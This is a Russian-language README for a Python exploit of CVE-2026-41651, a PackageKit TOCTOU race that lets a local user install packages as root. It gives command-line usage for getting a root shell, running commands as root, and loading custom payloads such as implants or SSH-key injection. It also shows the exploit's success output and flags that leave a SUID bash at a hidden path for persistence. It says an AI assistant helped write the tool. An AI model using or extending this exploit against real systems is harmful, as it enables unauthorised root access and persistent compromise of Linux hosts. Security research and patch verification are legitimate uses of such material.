
Python PoC эксплуатации локального повышения привилегий через TOCTOU в PackageKit. Любой локальный непривилегированный пользователь может устанавливать произвольные пакеты от имени root без аутентификации.
| Field | Value |
|---|---|
| CVE | CVE-2026-41651 |
| Component | PackageKit daemon (packagekitd) |
| Affected versions | 1.0.2 – 1.3.4 |
| Fixed in | 1.3.5 |
| Impact | Local Privilege Escalation → root |
Этот инструмент предоставляется только для образовательных целей и санкционированных исследований в области безопасности.
Уязвимая ОС: Любой дистрибутив Linux, на котором запущен PackageKit >= 1.0.2 <= 1.3.4.
Ограничение PoC: встроенный сборщик пакетов создаёт только
.deb-файлы, поэтому скрипт для работы «как есть» требует хост на Debian/Ubuntu. В системах на RPM-based укажите собственный postinst-payload через--payload-scriptи убедитесь, чтоdpkg/dpkg-devдоступны, либо адаптируйте сборщик.
Python: 3.6+
Системные пакеты (Debian/Ubuntu):
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
Примечание о зависимостях:
python3-dbusиpython3-giне входят в стандартную библиотеку Python, но они почти всегда уже присутствуют на любой машине с графическим окружением (GNOME, KDE, XFCE и т. д.), поскольку эти окружения напрямую зависят от них. В стандартной установке Ubuntu Desktop обе библиотеки доступны без какой-либо ручной установки. На минимальном сервере без GUI они могут отсутствовать, поэтому в таком случае командаapt installвыше требует sudo, что противоречит контексту LPE. На практике на любой машине, где PackageKit работает вместе с пользовательской сессией, эти зависимости уже будут удовлетворены.
gir1.2-glib-2.0предоставляет файлы типов GObject Introspection для GLib.python3-gi— это движок привязок Python, но ему нужны эти файлы типов, чтобы знать, как общаться именно с GLib. Без этого пакетаfrom gi.repository import GLibзавершится ошибкой, даже еслиpython3-giустановлен. Оба пакета автоматически подтягиваются любым десктопом на базе GNOME.
Примечание о попытке только со стандартной библиотекой: предыдущая версия этого PoC пыталась полностью устранить эти зависимости, заменив вызовы D-Bus на подпроцессы
gdbus/dbus-send, а затем общаясь с D-Bus-сокетом напрямую через wire-протокол. Оба подхода не смогли надёжно воспроизвести гонку TOCTOU: запуск внешних процессов вносит достаточную задержку между двумя вызовамиInstallFiles, из-за чего PackageKit обрабатывает Шаг 1 до того, как приходит Шаг 2, что ломает гонку. Привязкаdbus-pythonотправляет оба вызова fire-and-forget по одному уже открытому сокету без оверхэда fork, и именно это обеспечивает нужную синхронизацию. Версия только со стандартной библиотекой была откачена по этой причине.
Проверка версии PackageKit (без использования PoC):
pkcon --version 2>/dev/null || dpkg -l packagekit | grep ^ii
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
Примеры:
# Проверка, уязвима ли цель (без эксплуатации)
python3 cve-2026-41651.py --check
# Полная эксплуатация → интерактивный root shell
python3 cve-2026-41651.py
# Выполнить одну команду от имени root
python3 cve-2026-41651.py --exec "id"
# Собственный payload (имплант, внедрение SSH-ключей…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# Оставить SUID bash после выхода, свой путь
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# Режим для скриптов / быстрый режим
python3 cve-2026-41651.py --timeout 60 --quiet
Ожидаемый вывод:
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
Основано на оригинальном C PoC от Vozec. Это переписывание на Python для портируемости. Вся заслуга за технику эксплуатации принадлежит оригинальному автору.
Переписывание на Python разработано при содействии Claude (Anthropic).
| Flag | Description |
|---|
--check | Запросить версию PackageKit и сообщить об уязвимости, затем выйти |
--exec CMD | Выполнить одну команду от имени root вместо открытия интерактивного shell |
--payload-script FILE | Использовать собственный postinst-скрипт вместо встроенного SUID bash-дроппера |
--suid-path PATH | Куда поместить SUID bash (по умолчанию: /tmp/.suid_bash) |
--no-cleanup | Оставить SUID bash после выхода из shell |
--timeout N | Секунды ожидания появления SUID bash (по умолчанию: 120) |
--quiet | Подавить вывод прогресса (для скриптов) |